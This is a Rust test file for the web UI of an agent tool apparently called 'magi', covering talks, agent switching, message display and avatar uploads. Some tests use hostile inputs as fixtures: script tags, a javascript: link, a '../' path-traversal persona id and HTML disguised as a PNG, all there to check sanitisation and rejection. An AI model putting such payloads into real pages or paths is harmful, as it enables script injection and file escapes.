13941 make_checkout(&root, "github.com", "yukimemi", "rvpm");
13944 let second = f.get("/api/repos").await;
13945 assert_eq!(
13946 second.json().as_array().map(Vec::len),
13947 Some(1),
13948 "a fresh cache must not rescan inside the TTL"
13949 );
13950
13951 let refreshed = f.get("/api/repos?refresh=1").await;
13952 assert_eq!(
13953 refreshed.json().as_array().map(Vec::len),
13954 Some(2),
13955 "an explicit refresh must rescan even inside the TTL"
13956 );
13957 }
13958
13959 const MOCK_AGENT_TOML: &str = "[[agents]]\nid = \"mock\"\nkind = \"command\"\ncommand = [\"sh\", \"-c\", \"cat >/dev/null && printf ok\"]\n";
13965
13966 async fn talk_fixture() -> (TempDir, PathBuf, Fixture) {
13970 let tmp = TempDir::new().expect("tempdir");
13971 let repo = tmp.path().join("repo");
13972 std::fs::create_dir_all(&repo).expect("repo dir");
13973 std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
13974 let f = Fixture::with_repo(repo.clone()).await;
13975 (tmp, repo, f)
13976 }
13977
13978 #[tokio::test]
13979 async fn posting_a_talk_with_remembered_choices_is_soft() {
13980 let (_tmp, _repo, f) = talk_fixture().await;
13981
13982 let good = f
13983 .post("/api/talks", Some(r#"{"persona":"rei","implementers":1}"#))
13984 .await;
13985 assert_eq!(good.status, 201, "{}", good.body);
13986 assert_eq!(good.json()["persona"], "rei");
13987
13988 let stale = f
13990 .post(
13991 "/api/talks",
13992 Some(r#"{"preferred_agent":"gone","persona":"nobody","implementers":7}"#),
13993 )
13994 .await;
13995 assert_eq!(stale.status, 201, "{}", stale.body);
13996 let v = stale.json();
13997 assert_eq!(v["implementers"], 1);
13998 assert_ne!(v["persona"], "nobody");
13999 let typed = f
14000 .post(
14001 "/api/talks",
14002 Some(r#"{"preferred_agent":3,"persona":[],"implementers":"x"}"#),
14003 )
14004 .await;
14005 assert_eq!(typed.status, 201, "{}", typed.body);
14006
14007 let strict = f.post("/api/talks", Some(r#"{"agent":"gone"}"#)).await;
14009 assert!(
14010 !strict.status.to_string().starts_with('2'),
14011 "{}",
14012 strict.body
14013 );
14014 }
14015
14016 #[tokio::test]
14017 async fn posting_a_talk_with_no_body_opens_one_and_takes_no_turn() {
14018 let (_tmp, _repo, f) = talk_fixture().await;
14019
14020 let opened = f.post("/api/talks", None).await;
14023 assert_eq!(opened.status, 201, "{}", opened.body);
14024 let body = opened.json();
14025 assert_eq!(body["status"], "open");
14026 assert_eq!(
14027 body["turns"].as_array().unwrap().len(),
14028 0,
14029 "opening takes no agent turn: there is nothing yet to answer"
14030 );
14031
14032 let also_opened = f.post("/api/talks", Some("{}")).await;
14034 assert_eq!(also_opened.status, 201, "{}", also_opened.body);
14035
14036 let listed = f.get("/api/talks").await.json();
14037 assert_eq!(listed.as_array().unwrap().len(), 2);
14038 }
14039
14040 #[tokio::test]
14041 async fn talk_agent_switches_the_roster_agent_and_refuses_unknown_busy_or_closed() {
14042 let tmp = TempDir::new().expect("tempdir");
14043 let repo = tmp.path().join("repo");
14044 std::fs::create_dir_all(&repo).expect("repo dir");
14045 let second = MOCK_AGENT_TOML.replace("\"mock\"", "\"second\"");
14046 std::fs::write(
14047 repo.join("magi.toml"),
14048 format!("{MOCK_AGENT_TOML}\n{second}"),
14049 )
14050 .expect("write magi.toml");
14051 let home = TempDir::new().expect("temp home");
14052 let talks = Talks::at(home.path().join("talks"));
14053 let ui = Arc::new(
14054 Ui::new(
14055 Queue::at(home.path().join("queue")),
14056 Questions::at(home.path().join("questions")),
14057 talks.clone(),
14058 home.path().join("runs"),
14059 home.path().to_path_buf(),
14060 repo.clone(),
14061 )
14062 .with_worktrees_root(home.path().join("wt")),
14063 );
14064 let cfg = config_for(&repo).await.expect("discover config");
14065 let talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
14066 let id = talk.id.clone();
14067 let call = |agent: &str| {
14068 talk_agent(
14069 State(Arc::clone(&ui)),
14070 Path(id.clone()),
14071 Json(TalkAgent {
14072 agent: agent.to_owned(),
14073 }),
14074 )
14075 };
14076
14077 let unknown = call("nobody").await.expect_err("unknown agent");
14078 assert_eq!(
14079 unknown.status,
14080 StatusCode::BAD_REQUEST,
14081 "{}",
14082 unknown.message
14083 );
14084
14085 {
14086 let guard = ui.begin_talk_turn(&id).expect("claim").expect("free");
14089 let busy = call("second").await.expect_err("busy talk");
14090 assert_eq!(busy.status, StatusCode::CONFLICT, "{}", busy.message);
14091 assert!(
14092 busy.message.contains("a talk turn is running"),
14093 "{}",
14094 busy.message
14095 );
14096 drop(guard);
14097 }
14098 assert_eq!(talks.get(&id).expect("reload").agent, "mock");
14099
14100 let Json(view) = call("second").await.expect("switch");
14101 assert_eq!(view.talk.agent, "second");
14102 assert_eq!(view.talk.turns.len(), 1, "the change is noted");
14103 let saved = talks.get(&id).expect("reload");
14104 assert_eq!(saved.agent, "second");
14105 assert_eq!(saved.turns.len(), 1);
14106 assert!(!view.thinking);
14107 assert!(!ui.is_thinking(&id), "idle response must release the claim");
14108 for agent in ["mock", "second"] {
14109 let Json(view) = call(agent).await.expect("immediate consecutive change");
14110 assert_eq!(view.talk.agent, agent);
14111 assert!(!view.thinking);
14112 assert!(!ui.is_thinking(&id));
14113 }
14114
14115 let detail = talk_detail(State(Arc::clone(&ui)), Path(id.clone()))
14116 .await
14117 .expect("detail");
14118 let roster: Vec<&str> = detail.0.roster.iter().map(|r| r.id.as_str()).collect();
14119 assert_eq!(roster, ["mock", "second"]);
14120
14121 let mut closed = talks.get(&id).expect("reload");
14122 talk::close(&mut closed, &talks).expect("close");
14123 let refused = call("mock").await.expect_err("closed talk");
14124 assert_eq!(refused.status, StatusCode::CONFLICT, "{}", refused.message);
14125 assert!(
14126 refused.message.contains("takes no more turns"),
14127 "{}",
14128 refused.message
14129 );
14130 }
14131
14132 #[tokio::test]
14133 async fn talk_implementers_validates_and_refuses_busy_or_closed() {
14134 let tmp = TempDir::new().expect("tempdir");
14135 let repo = tmp.path().join("repo");
14136 std::fs::create_dir_all(&repo).expect("repo dir");
14137 std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
14138 let home = TempDir::new().expect("temp home");
14139 let talks = Talks::at(home.path().join("talks"));
14140 let ui = Arc::new(
14141 Ui::new(
14142 Queue::at(home.path().join("queue")),
14143 Questions::at(home.path().join("questions")),
14144 talks.clone(),
14145 home.path().join("runs"),
14146 home.path().to_path_buf(),
14147 repo.clone(),
14148 )
14149 .with_worktrees_root(home.path().join("wt")),
14150 );
14151 let cfg = config_for(&repo).await.expect("discover config");
14152 let talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
14153 let id = talk.id.clone();
14154 let call = |n: u8| {
14155 talk_implementers(
14156 State(Arc::clone(&ui)),
14157 Path(id.clone()),
14158 Json(TalkImplementers { implementers: n }),
14159 )
14160 };
14161
14162 for bad in [0u8, 4] {
14163 let e = call(bad).await.expect_err("out of range");
14164 assert_eq!(e.status, StatusCode::BAD_REQUEST, "{}", e.message);
14165 }
14166 assert_eq!(talks.get(&id).expect("reload").implementers, 1);
14167
14168 {
14169 let guard = ui.begin_talk_turn(&id).expect("claim").expect("free");
14172 let busy = call(2).await.expect_err("busy talk");
14173 assert_eq!(busy.status, StatusCode::CONFLICT, "{}", busy.message);
14174 assert!(
14175 busy.message.contains("a talk turn is running"),
14176 "{}",
14177 busy.message
14178 );
14179 drop(guard);
14180 }
14181
14182 let Json(view) = call(3).await.expect("switch");
14183 assert_eq!(view.talk.implementers, 3);
14184 assert!(talks.get(&id).expect("reload").implementers_dirty);
14185 assert!(!view.thinking);
14186 assert!(!ui.is_thinking(&id), "idle response must release the claim");
14187 for n in [1, 2, 3] {
14188 let Json(view) = call(n).await.expect("immediate consecutive change");
14189 assert_eq!(view.talk.implementers, n);
14190 assert!(!view.thinking);
14191 assert!(!ui.is_thinking(&id));
14192 }
14193
14194 let mut closed = talks.get(&id).expect("reload");
14195 talk::close(&mut closed, &talks).expect("close");
14196 let e = call(2).await.expect_err("closed talk");
14197 assert_eq!(e.status, StatusCode::CONFLICT, "{}", e.message);
14198 assert!(e.message.contains("takes no more turns"), "{}", e.message);
14199 }
14200
14201 async fn avatar_fixture(extra: &str) -> (TempDir, TempDir, Arc<Ui>, String, PathBuf) {
14203 let tmp = TempDir::new().expect("tempdir");
14204 let repo = tmp.path().join("repo");
14205 std::fs::create_dir_all(&repo).expect("repo dir");
14206 std::fs::write(
14207 repo.join("magi.toml"),
14208 format!("{MOCK_AGENT_TOML}\n{extra}"),
14209 )
14210 .expect("write magi.toml");
14211 let home = TempDir::new().expect("temp home");
14212 let talks = Talks::at(home.path().join("talks"));
14213 let ui = Arc::new(
14214 Ui::new(
14215 Queue::at(home.path().join("queue")),
14216 Questions::at(home.path().join("questions")),
14217 talks.clone(),
14218 home.path().join("runs"),
14219 home.path().to_path_buf(),
14220 repo.clone(),
14221 )
14222 .with_worktrees_root(home.path().join("wt")),
14223 );
14224 let cfg = config_for(&repo).await.expect("discover config");
14225 let talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
14226 (tmp, home, ui, talk.id, repo)
14227 }
14228
14229 #[tokio::test]
14230 async fn magi_provenance_view_resolves_legacy_replies_and_mixed_messages() {
14231 let (_tmp, _home, ui, id, _) = avatar_fixture("").await;
14232 let mut conversation = ui.talks.get(&id).unwrap();
14233 talk::record(
14234 &mut conversation,
14235 &ui.talks,
14236 "# Update on a task you filed\noperator words",
14237 vec![],
14238 )
14239 .unwrap();
14240 conversation.turns[0].sender = None;
14242 conversation.turns[0].messages.clear();
14243 ui.talks.put(&mut conversation).unwrap();
14244 talk::queue(&mut conversation, &ui.talks, "owner", vec![]).unwrap();
14245 talk::queue_once(&mut conversation, &ui.talks, "automatic report", "notice").unwrap();
14246 talk::drain(&mut conversation, &ui.talks).unwrap();
14247 talk::record_reply(
14248 &mut conversation,
14249 &ui.talks,
14250 "about that report",
14251 vec![],
14252 Some(talk::ReplyTarget {
14253 turn: 1,
14254 message: 1,
14255 }),
14256 )
14257 .unwrap();
14258 conversation.turns[2].messages[0]
14259 .reply
14260 .as_mut()
14261 .unwrap()
14262 .sender = None;
14263 conversation.turns.push(talk::Turn {
14264 sender: Some(talk::Sender::Persona),
14265 who: talk::Who::Agent,
14266 body: "magi: actual persona words".into(),
14267 at: Timestamp::now(),
14268 attachments: vec![],
14269 usage: None,
14270 breaks: None,
14271 messages: vec![],
14272 posted_by: None,
14273 });
14274 ui.talks.put(&mut conversation).unwrap();
14275 let view = TalkView::with_config(
14276 ui.talks.get(&id).unwrap(),
14277 false,
14278 None,
14279 &ui.home,
14280 &ui.references,
14281 );
14282 assert_eq!(view.talk.turns[0].sender, Some(talk::Sender::Operator));
14283 assert_eq!(
14284 view.talk.turns[1].messages[0].sender,
14285 Some(talk::Sender::Operator)
14286 );
14287 assert_eq!(
14288 view.talk.turns[1].messages[1].sender,
14289 Some(talk::Sender::Magi)
14290 );
14291 assert_eq!(
14292 view.talk.turns[2].messages[0]
14293 .reply
14294 .as_ref()
14295 .unwrap()
14296 .sender,
14297 Some(talk::Sender::Magi)
14298 );
14299 assert_eq!(view.talk.turns[3].sender, Some(talk::Sender::Persona));
14300 assert_eq!(view.turn_messages_md[0].len(), 1);
14301 assert!(view.turn_messages_md[0][0].is_none());
14302 assert!(view.turn_messages_md[1][0].is_none());
14303 assert!(view.turn_messages_md[1][1].is_some());
14304 }
14305
14306 #[tokio::test]
14307 async fn notification_display_survives_queue_history_and_reply_without_changing_input() {
14308 let (_tmp, _home, ui, id, _) = avatar_fixture("").await;
14309 let mut conversation = ui.talks.get(&id).unwrap();
14310 let (body, display) = crate::prompt::chat_watch_report("watch-123", "failed", "output");
14311 talk::record(&mut conversation, &ui.talks, &body, vec![]).unwrap();
14312 talk::queue_notice(
14313 &mut conversation,
14314 &ui.talks,
14315 &body,
14316 "watch:123",
14317 &|_| false,
14318 None,
14319 display.clone(),
14320 )
14321 .unwrap();
14322 assert!(
14323 !talk::queue_notice(
14324 &mut conversation,
14325 &ui.talks,
14326 &body,
14327 "watch:123",
14328 &|_| false,
14329 None,
14330 display.clone()
14331 )
14332 .unwrap()
14333 );
14334 let saved = ui.talks.get(&id).unwrap();
14335 assert_eq!(saved.pending_messages[0].display, Some(display.clone()));
14336 let view = TalkView::with_config(saved, false, None, &ui.home, &ui.references);
14337 assert!(
14338 view.talk.turns[0].messages[0].display.is_none(),
14339 "operator copy stays literal"
14340 );
14341 assert_eq!(view.talk.pending_messages[0].display, Some(display.clone()));
14342 assert!(view.turn_messages_md[0][0].is_none());
14343 let queued_md = view.pending_messages_md[0].clone();
14344 assert_eq!(
14345 queued_md,
14346 Some(md::to_nodes(&display.facts, &md::ImageBase::None))
14347 );
14348 talk::drain(&mut conversation, &ui.talks).unwrap();
14349 talk::record_reply(
14350 &mut conversation,
14351 &ui.talks,
14352 "Explain",
14353 vec![],
14354 Some(talk::ReplyTarget {
14355 turn: 1,
14356 message: 0,
14357 }),
14358 )
14359 .unwrap();
14360 let mut saved = ui.talks.get(&id).unwrap();
14361 assert_eq!(saved.turns[1].messages[0].body, body);
14362 assert_eq!(saved.turns[1].messages[0].display, Some(display.clone()));
14363 let reply = saved.turns[2].messages[0].reply.as_mut().unwrap();
14364 assert!(!reply.excerpt.contains("automatic report"));
14365 reply.excerpt = body.chars().take(240).collect(); saved.turns[1].messages[0].display = None; ui.talks.put(&mut saved).unwrap();
14368 let view = TalkView::with_config(
14369 ui.talks.get(&id).unwrap(),
14370 false,
14371 None,
14372 &ui.home,
14373 &ui.references,
14374 );
14375 assert_eq!(view.turn_messages_md[1][0], queued_md);
14376 assert_eq!(view.talk.turns[1].messages[0].display, Some(display));
14377 assert!(
14378 !view.talk.turns[2].messages[0]
14379 .reply
14380 .as_ref()
14381 .unwrap()
14382 .excerpt
14383 .contains("automatic report")
14384 );
14385 assert_eq!(ui.talks.get(&id).unwrap().turns[1].messages[0].body, body);
14386 }
14387
14388 #[tokio::test]
14389 async fn consultation_display_hides_directives_in_queue_and_history() {
14390 for node in [
14391 "implement",
14392 crate::land::APPROVAL_NODE,
14393 crate::github_text::ASK_NODE,
14394 ] {
14395 let (_tmp, _home, ui, id, _) = avatar_fixture("").await;
14396 let mut question = Question::new(
14397 "run-123".into(),
14398 node.into(),
14399 "seat-1".into(),
14400 "Which backend?".into(),
14401 "## Context\n\nUse `storage`.\n\n<script>literal</script>".into(),
14402 vec!["SQLite".into(), "Redis".into()],
14403 );
14404 ui.questions.put(&mut question).unwrap();
14405 let body = crate::prompt::chat_consult(&question);
14406 let mut conversation = ui.talks.get(&id).unwrap();
14407 talk::record(&mut conversation, &ui.talks, &body, vec![]).unwrap();
14408 assert!(
14409 crate::consult::begin(&ui.questions, &ui.talks, &question, &conversation).unwrap()
14410 );
14411 conversation = ui.talks.get(&id).unwrap();
14412 assert_eq!(conversation.pending_messages[0].body, body);
14413 assert!(body.contains("magi answer"));
14414 let mut legacy_pending = conversation.clone();
14415 legacy_pending.pending_messages[0].display = None;
14416 let legacy_view =
14417 TalkView::with_config(legacy_pending, false, None, &ui.home, &ui.references);
14418 let legacy_md = serde_json::to_string(&legacy_view.pending_messages_md[0]).unwrap();
14419 assert!(legacy_md.contains("Question consultation"));
14420 assert!(!legacy_md.contains("magi answer"));
14421 let view =
14422 TalkView::with_config(conversation.clone(), false, None, &ui.home, &ui.references);
14423 assert!(
14424 view.turn_messages_md[0][0].is_none(),
14425 "operator copy stays literal"
14426 );
14427 let queued_md = view.pending_messages_md[0].clone().unwrap();
14428 let rendered = serde_json::to_string(&queued_md).unwrap();
14429 for visible in [
14430 "Which backend?",
14431 "Context",
14432 "storage",
14433 "SQLite",
14434 "Redis",
14435 "<script>literal</script>",
14436 ] {
14437 assert!(rendered.contains(visible), "missing {visible}");
14438 }
14439 for directive in [
14440 "What to do",
14441 "magi answer",
14442 "Never answer it yourself",
14443 "Do not edit the repository",
14444 ] {
14445 assert!(!rendered.contains(directive), "exposed {directive}");
14446 }
14447 assert_eq!(
14448 view.talk.pending_messages[0].display,
14449 Some(crate::prompt::chat_consult_display(&question))
14450 );
14451 talk::drain(&mut conversation, &ui.talks).unwrap();
14452 let view =
14453 TalkView::with_config(conversation.clone(), false, None, &ui.home, &ui.references);
14454 assert_eq!(view.turn_messages_md[1][0], Some(queued_md));
14455 assert_eq!(conversation.turns[1].messages[0].body, body);
14456
14457 conversation.turns[1].messages[0].display = None;
14460 let view = TalkView::with_config(conversation, false, None, &ui.home, &ui.references);
14461 let legacy = serde_json::to_string(&view.turn_messages_md[1][0]).unwrap();
14462 assert!(legacy.contains("Question consultation"));
14463 assert!(!legacy.contains("magi answer"));
14464 assert!(notice_markdown(talk::Sender::Magi, &body, None).is_none());
14465 }
14466 }
14467
14468 #[test]
14469 fn notification_markdown_uses_only_visible_facts_and_explicit_provenance() {
14470 let facts = "# Update\n\n- `task` [PR](https://example.org)\n\n```sh\necho ok\n```\n\n<script>alert(1)</script>\n\n[bad](javascript:alert(1))";
14471 let (body, mut display) =
14472 crate::prompt::chat_watch_report("watch-123", "failed", "<script>untrusted</script>");
14473 display.facts = facts.into();
14474 let nodes = notice_markdown(talk::Sender::Magi, &body, Some(&display)).unwrap();
14475 assert_eq!(nodes, md::to_nodes(facts, &md::ImageBase::None));
14476 let json = serde_json::to_string(&nodes).unwrap();
14477 for kind in ["heading", "bullet_list", "code", "link", "code_block"] {
14478 assert!(json.contains(&format!("\"type\":\"{kind}\"")));
14479 }
14480 assert!(json.contains("<script>alert(1)</script>"));
14481 assert!(!json.contains("javascript:"));
14482 assert!(!json.contains("Tell the operator"));
14483 assert!(!json.contains("untrusted"));
14484 assert!(notice_markdown(talk::Sender::Operator, facts, None).is_none());
14485 assert!(notice_markdown(talk::Sender::Operator, &body, Some(&display)).is_none());
14486 assert!(notice_markdown(talk::Sender::Magi, &body, None).is_none());
14487 assert_eq!(
14488 notice_markdown(talk::Sender::Magi, "magi: # Status", None).unwrap(),
14489 md::to_nodes("# Status", &md::ImageBase::None),
14490 );
14491 }
14492
14493 #[tokio::test]
14494 async fn notification_display_recovers_exact_legacy_completion_references() {
14495 let (_tmp, _home, ui, id, _) = avatar_fixture("").await;
14496 let mut conversation = ui.talks.get(&id).unwrap();
14497 let (body, display) = crate::prompt::chat_task_report(&crate::prompt::ChatTaskNotice {
14498 id: "task-123",
14499 title: "Change",
14500 status: "done",
14501 reason: None,
14502 run: Some("run-123"),
14503 pr: None,
14504 summary: Some("Merge state unknown"),
14505 });
14506 talk::record(&mut conversation, &ui.talks, &body, vec![]).unwrap();
14507 conversation.turns[0].sender = None;
14508 conversation.turns[0].messages.clear();
14509 conversation.turns[0].breaks = None;
14510 conversation.pending = body.clone();
14511 conversation
14512 .completion_notices
14513 .push(crate::chat_notify::CompletionReference {
14514 task: "task-123".into(),
14515 run: Some("run-123".into()),
14516 notice: body.clone(),
14517 });
14518 ui.talks.put(&mut conversation).unwrap();
14519 let view = TalkView::with_config(
14520 ui.talks.get(&id).unwrap(),
14521 false,
14522 None,
14523 &ui.home,
14524 &ui.references,
14525 );
14526 assert_eq!(
14527 view.talk.turns[0].messages[0].display,
14528 Some(display.clone())
14529 );
14530 assert_eq!(view.talk.pending_messages[0].display, Some(display));
14531 assert_eq!(
14532 view.talk.turns[0].messages[0].sender,
14533 Some(talk::Sender::Magi)
14534 );
14535 assert!(ui.talks.get(&id).unwrap().turns[0].messages.is_empty());
14536 conversation.completion_notices[0]
14537 .notice
14538 .push_str("different");
14539 let view = TalkView::with_config(conversation, false, None, &ui.home, &ui.references);
14540 assert!(view.talk.turns[0].messages.is_empty());
14541 assert!(view.talk.pending_messages.is_empty());
14542 }
14543
14544 #[tokio::test]
14545 async fn avatar_settings_report_states_and_inherit_after_corruption() {
14546 let icon = "data:image/png;base64,iVBORw0KGgoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=";
14547 let (_tmp, home, ui, _, _) = avatar_fixture(&format!(
14548 "[[talk.personas]]\nid = \"rei\"\nicon = \"{icon}\"\n"
14549 ))
14550 .await;
14551 let path = avatar_setting_path(home.path(), Some("rei"));
14552 let orphan = avatar_setting_path(home.path(), Some("removed"));
14553 save_icon_file(&orphan, icon).unwrap();
14554 for (saved, expected) in [
14555 (icon, "custom"),
14556 ("builtin", "builtin"),
14557 ("data:image/png;base64,!!!!", "inherit"),
14558 ("data:image/png;base64,PGh0bWw+", "inherit"),
14559 ("/tmp/avatar.png", "inherit"),
14560 ] {
14561 atomic_icon_write(&path, saved).unwrap();
14562 let catalog =
14563 avatar_settings_get(State(ui.clone()), Query(AvatarSettingsQuery::default()))
14564 .await
14565 .unwrap()
14566 .0;
14567 let personas = catalog["personas"].as_array().unwrap();
14568 let rei = personas.iter().find(|p| p["id"] == "rei").unwrap();
14569 assert_eq!(rei["override_state"], expected);
14570 assert_eq!(rei["has_config_icon"], true);
14571 assert_eq!(rei["is_orphan"], false);
14572 let removed = personas.iter().find(|p| p["id"] == "removed").unwrap();
14573 assert_eq!(removed["override_state"], "custom");
14574 assert_eq!(removed["is_orphan"], true);
14575 let default = personas.iter().find(|p| p["id"] == "default").unwrap();
14576 assert_eq!(default["override_state"], "inherit");
14577 assert_eq!(default["has_config_icon"], false);
14578 let effective = effective_persona_icon(home.path(), "rei", Some(icon));
14579 assert_eq!(
14580 effective.as_deref(),
14581 Some(if expected == "builtin" { "" } else { icon })
14582 );
14583 }
14584 }
14585
14586 #[tokio::test]
14587 async fn avatar_settings_persist_reset_isolate_and_reject_invalid_images() {
14588 let icon = "data:image/png;base64,iVBORw0KGgoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=";
14589 let (_tmp, home, ui, id, repo) = avatar_fixture(&format!(
14590 "[[talk.personas]]\nid = \"rei\"\nicon = \"{icon}\"\n\n[[talk.personas]]\nid = \"custom\"\nname = \"Custom\"\nprompt = \"Stay concise\"\n"
14591 ))
14592 .await;
14593 let target = |id: Option<&str>| AvatarSettingsQuery {
14594 persona: id.map(str::to_owned),
14595 ..Default::default()
14596 };
14597 let original_config = config_for(&repo).await.unwrap();
14598 let original_persona = persona::find(&original_config.talk.personas, "rei").unwrap();
14599 let original_prompt = persona::section_for(&original_persona, None);
14600 let before = talk_detail(State(ui.clone()), Path(id.clone()))
14601 .await
14602 .unwrap()
14603 .0;
14604 for persona in [None, Some("rei"), Some("magi"), Some("../custom/日本語")] {
14605 let _ = avatar_settings_put(
14606 State(ui.clone()),
14607 Query(target(persona)),
14608 Json(MagiIconUpload { icon: icon.into() }),
14609 )
14610 .await
14611 .unwrap();
14612 let path = avatar_setting_path(home.path(), persona);
14613 assert!(path.starts_with(home.path().join("avatars")));
14614 assert_eq!(read_icon_file(&path).as_deref(), Some(icon));
14615 for bad in [
14616 "/tmp/image.png".to_owned(),
14617 "data:image/png;base64,!!!!".to_owned(),
14618 "data:image/png;base64,PGh0bWw+".to_owned(),
14619 "data:image/svg+xml;base64,PHN2Zz4=".to_owned(),
14620 format!(
14621 "data:image/png;base64,{}",
14622 "A".repeat(persona_icon::ICON_MAX_BYTES)
14623 ),
14624 ] {
14625 assert!(
14626 avatar_settings_put(
14627 State(ui.clone()),
14628 Query(target(persona)),
14629 Json(MagiIconUpload { icon: bad })
14630 )
14631 .await
14632 .is_err()
14633 );
14634 assert_eq!(read_icon_file(&path).as_deref(), Some(icon));
14635 }
14636 }
14637 assert!(read_magi_icon(home.path()).is_none());
14638 assert!(effective_persona_icon(home.path(), "asuka", None).is_none());
14639 let after = talk_detail(State(ui.clone()), Path(id.clone()))
14640 .await
14641 .unwrap()
14642 .0;
14643 assert_ne!(before.view.operator_avatar, after.view.operator_avatar);
14644 assert_ne!(
14645 before
14646 .personas
14647 .iter()
14648 .find(|p| p.id == "magi")
14649 .unwrap()
14650 .avatar,
14651 after
14652 .personas
14653 .iter()
14654 .find(|p| p.id == "magi")
14655 .unwrap()
14656 .avatar
14657 );
14658 let restarted = Arc::new(Ui::new(
14659 Queue::at(home.path().join("queue")),
14660 Questions::at(home.path().join("questions")),
14661 Talks::at(home.path().join("talks")),
14662 home.path().join("runs"),
14663 home.path().to_owned(),
14664 repo,
14665 ));
14666 let catalog = avatar_settings_get(State(restarted.clone()), Query(target(None)))
14667 .await
14668 .unwrap()
14669 .0;
14670 assert!(
14671 catalog["personas"]
14672 .as_array()
14673 .unwrap()
14674 .iter()
14675 .any(|p| p["id"] == "../custom/日本語")
14676 );
14677 for expected in ["custom", "default", "rei"] {
14678 assert!(
14679 catalog["personas"]
14680 .as_array()
14681 .unwrap()
14682 .iter()
14683 .any(|p| p["id"] == expected)
14684 );
14685 }
14686 let response =
14687 operator_avatar(State(restarted.clone()), Query(AvatarQuery::default())).await;
14688 assert_eq!(response.headers()[header::CONTENT_TYPE], "image/png");
14689 let _ = avatar_settings_delete(State(restarted.clone()), Query(target(Some("rei"))))
14690 .await
14691 .unwrap();
14692 assert_eq!(
14693 effective_persona_icon(home.path(), "rei", Some(icon)),
14694 Some(String::new())
14695 );
14696 let response = talk_avatar(
14697 State(restarted.clone()),
14698 Path(id.clone()),
14699 Query(AvatarQuery {
14700 persona: Some("rei".into()),
14701 ..Default::default()
14702 }),
14703 )
14704 .await
14705 .unwrap();
14706 assert_eq!(response.headers()[header::CONTENT_TYPE], "image/svg+xml");
14707 let reset = talk_detail(State(restarted.clone()), Path(id.clone()))
14708 .await
14709 .unwrap()
14710 .0;
14711 assert_ne!(
14712 after
14713 .personas
14714 .iter()
14715 .find(|p| p.id == "rei")
14716 .unwrap()
14717 .avatar,
14718 reset
14719 .personas
14720 .iter()
14721 .find(|p| p.id == "rei")
14722 .unwrap()
14723 .avatar
14724 );
14725 let mut inherit = target(Some("rei"));
14726 inherit.inherit = Some("1".into());
14727 let _ = avatar_settings_delete(State(restarted.clone()), Query(inherit))
14728 .await
14729 .unwrap();
14730 assert_eq!(
14731 effective_persona_icon(home.path(), "rei", Some(icon)).as_deref(),
14732 Some(icon)
14733 );
14734 let _ = avatar_settings_delete(State(restarted.clone()), Query(target(None)))
14735 .await
14736 .unwrap();
14737 assert_eq!(operator_icon_url(home.path()), before.view.operator_avatar);
14738 assert_eq!(
14739 read_icon_file(&avatar_setting_path(home.path(), Some("magi"))).as_deref(),
14740 Some(icon)
14741 );
14742 let cfg = config_for(&ui.repo).await.unwrap();
14744 let resolved = persona::find(&cfg.talk.personas, "rei").unwrap();
14745 assert_eq!(persona::section_for(&resolved, None), original_prompt);
14746 assert!(!original_prompt.contains("data:image"));
14747 assert_eq!(ui.talks.get(&id).unwrap().persona, before.view.talk.persona);
14748 let stored = serde_json::to_string(&ui.talks.get(&id).unwrap()).unwrap();
14749 assert!(!stored.contains("data:image"));
14750 let mut orphan = ui.talks.get(&id).unwrap();
14751 orphan.persona = "../custom/日本語".into();
14752 let view = TalkView::with_config(
14753 orphan,
14754 false,
14755 Some(&cfg),
14756 home.path(),
14757 &id_links::IndexCache::default(),
14758 );
14759 assert!(view.persona_avatar.contains("persona=..%2Fcustom%2F"));
14760 }
14761
14762 #[tokio::test]
14763 async fn magi_icon_saves_resets_revalidates_and_refreshes_cache() {
14764 let (_tmp, home, ui, id, repo) = avatar_fixture("").await;
14765 let original = magi_icon_get(State(ui.clone())).await.0["avatar"].clone();
14766 let icon = "data:image/png;base64,iVBORw0KGgoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=";
14767 let _ = magi_icon_put(
14768 State(ui.clone()),
14769 Json(MagiIconUpload { icon: icon.into() }),
14770 )
14771 .await
14772 .unwrap();
14773 let changed = magi_icon_get(State(ui.clone())).await.0["avatar"].clone();
14774 assert_ne!(original, changed);
14775 assert_eq!(read_magi_icon(home.path()).as_deref(), Some(icon));
14776 let response = magi_avatar(
14777 State(ui.clone()),
14778 Query(AvatarQuery {
14779 persona: None,
14780 builtin: None,
14781 }),
14782 )
14783 .await;
14784 assert_eq!(response.headers()[header::CONTENT_TYPE], "image/png");
14785 assert_eq!(response.headers()[header::CACHE_CONTROL], "no-cache");
14786 assert_eq!(
14787 response.headers()[header::X_CONTENT_TYPE_OPTIONS],
14788 "nosniff"
14789 );
14790 for bad in [
14791 "data:image/png;base64,PGh0bWw+".to_owned(),
14792 "data:image/svg+xml;base64,PHN2Zz4=".to_owned(),
14793 "A".repeat(persona_icon::ICON_MAX_BYTES + 1),
14794 ] {
14795 assert!(save_magi_icon(home.path(), &bad).is_err());
14796 assert_eq!(read_magi_icon(home.path()).as_deref(), Some(icon));
14797 }
14798 let restarted = Arc::new(Ui::new(
14800 Queue::at(home.path().join("queue")),
14801 Questions::at(home.path().join("questions")),
14802 Talks::at(home.path().join("talks")),
14803 home.path().join("runs"),
14804 home.path().to_path_buf(),
14805 repo,
14806 ));
14807 assert_eq!(
14808 magi_icon_get(State(restarted.clone())).await.0["avatar"],
14809 changed
14810 );
14811 let view = TalkView::with_config(
14812 restarted.talks.get(&id).unwrap(),
14813 false,
14814 None,
14815 &restarted.home,
14816 &restarted.references,
14817 );
14818 assert_eq!(view.magi_avatar, changed.as_str().unwrap());
14819 std::fs::write(magi_icon_path(home.path()), "invalid").unwrap();
14820 let response = magi_avatar(
14821 State(ui.clone()),
14822 Query(AvatarQuery {
14823 persona: None,
14824 builtin: None,
14825 }),
14826 )
14827 .await;
14828 let bytes = axum::body::to_bytes(response.into_body(), usize::MAX)
14829 .await
14830 .unwrap();
14831 assert_eq!(bytes.as_ref(), persona_icon::magi_svg().as_bytes());
14832 let _ = magi_icon_delete(State(ui.clone())).await.unwrap();
14833 assert_eq!(magi_icon_get(State(ui.clone())).await.0["avatar"], original);
